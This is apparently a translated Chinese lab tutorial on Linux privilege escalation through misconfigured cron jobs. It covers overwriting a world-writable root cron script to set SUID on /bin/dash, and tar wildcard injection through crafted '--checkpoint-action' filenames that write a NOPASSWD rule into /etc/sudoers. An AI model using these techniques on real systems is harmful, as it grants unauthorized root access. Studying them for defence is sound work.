在本文中，我们将学习“通过利用Cron jobs实现特权升级”，以获得远程主机的root访问权限，并研究一个糟糕的Cron Job实施如何导致特权升级。
什么是Cronjob？
Cron Jobs被用于通过在服务器上的特定日期和时间执行命令来安排任务。它们最常用于sysadmin任务，如备份或清理/tmp/目录等。Cron这个词来自crontab，它存在于/etc目录中。 
例如：在crontab内部，我们可以添加以下条目，以每1小时自动打印一次apache错误日志。
| 1 | 1 0 * * * printf “” > /var/log/apache/error_log |
Crontab文件覆写
创建一个Cron Job
目标：在crontab的帮助下安排一个新任务，运行一个python脚本，它将删除特定目录中的所有数据。
假设“cleanup”就是每2分钟自动删除一次数据的目录。因此，我在/home/cleanup中保存了一些数据。
| 1 2 3 4 5 6 7 | mkdir cleanup cd cleanup echo “hello freinds” > 1.txt echo “ALL files will be deleted in 2 mints” > 2.txt echo “” > 1.php echo “” > 2.php ls |
正如你可以从下图中看到的那样，一些文件存储在cleanup目录中。 
现在，在任何其他目录中编写一个python程序，从/home/cleanup中删除数据，并授予其所有权限。
| 1 2 | cd /tmp nano cleanup.py |
| 1 2 3 4 5 6 7 | #!/usr/bin/env python import os import sys try: os.system(‘rm -r /home/cleanup/* ‘) except: sys.exit() |
chmod 777 cleanup.py 
最后，在crontab的帮助下安排一项任务，每2分钟运行一次cleanup.py。
| 1 2 | nano /etc/crontab */2 * * * * root /tmp /cleanup.py |
现在，我们来验证一下目标。
| 1 2 3 4 | cd /home/cleanup ls date ls |
很好，它正在运行，你可以看到所有文件在2分钟后被删除。 
实施漏洞利用
启动攻击机器，首先破坏目标系统，然后进入特权提升阶段。假设我通过ssh成功登录到受害者的机器，并访问非root用户终端。执行以下命令，如下所示。
| 1 2 3 | cat /etc/crontab ls –al /tmp/cleanup.py cat /tmp/cleanup.py |
从上面的步骤中，我们注意到crontab每2分钟运行一次python脚本。 
有很多方法可以获得root访问权限，就像在这个方法中我们启用了SUID位/bin/dash。这很简单，首先，通过一些编辑器打开文件。例如，nanocleanup.py。并从下面的行中替换“rm -r /tmp/*”，如下所示。
| 1 | os.system(‘chmod u+s /bin/dash’) |
两分钟后，它将为/bin/dash设置SUID权限。当你运行它时，它将给予root访问权限。
| 1 2 3 | /bin/dash id whoami |
太棒了！！我们…………………完成了目标。
Crontab Tar Wildcard注入
创建一个Cron Job
目标：在crontab的帮助下安排一个任务，用HTML目录下的tar存档程序进行备份。
这个目录应该具有你想要进行备份的可执行权限。 
现在，在crontab的帮助下安排一个任务，运行tar档案程序，以每1分钟备份一次/html文件夹到/var/backups。
| 1 2 | nano /etc/crontab */1 * * * * root tar –zcf /var/backups/html.tgz /var/www/html/* |
让我们执行以下命令来验证计划是否有效。
| 1 2 3 | cd /var/backup ls date |
从下图你可以看到，html.tgz文件在1分钟后生成。
实施漏洞利用
启动攻击机器，首先破坏目标系统，然后进入特权提升阶段。假设我通过ssh成功登录到受害者的机器，并访问非root用户终端。执行以下命令，如下所示。
cat / etc / crontab
在这里，我们注意到目标已经为每一个1分钟安排了一个tar归档程序，并且我们知道cron job作为root运行。让我们试着利用。 
执行以下命令将sudo权限授予登录的用户，随后进行wildcard注入。
| 1 2 3 4 | echo ‘echo “ignite ALL=(root) NOPASSWD: ALL” > /etc/sudoers’ >test.sh echo “” > “–checkpoint-action=exec=sh test.sh” echo “” > —checkpoint=1 tar cf archive.tar * |
现在，1分钟以后，它将向用户授予sudo权限。你可以通过下图来确认这一点。
| 1 2 3 | sudo –l sudo bash whoami |
很好！我们已经成功地获得了root访问权限。
审核人：yiwang 编辑：边边
评论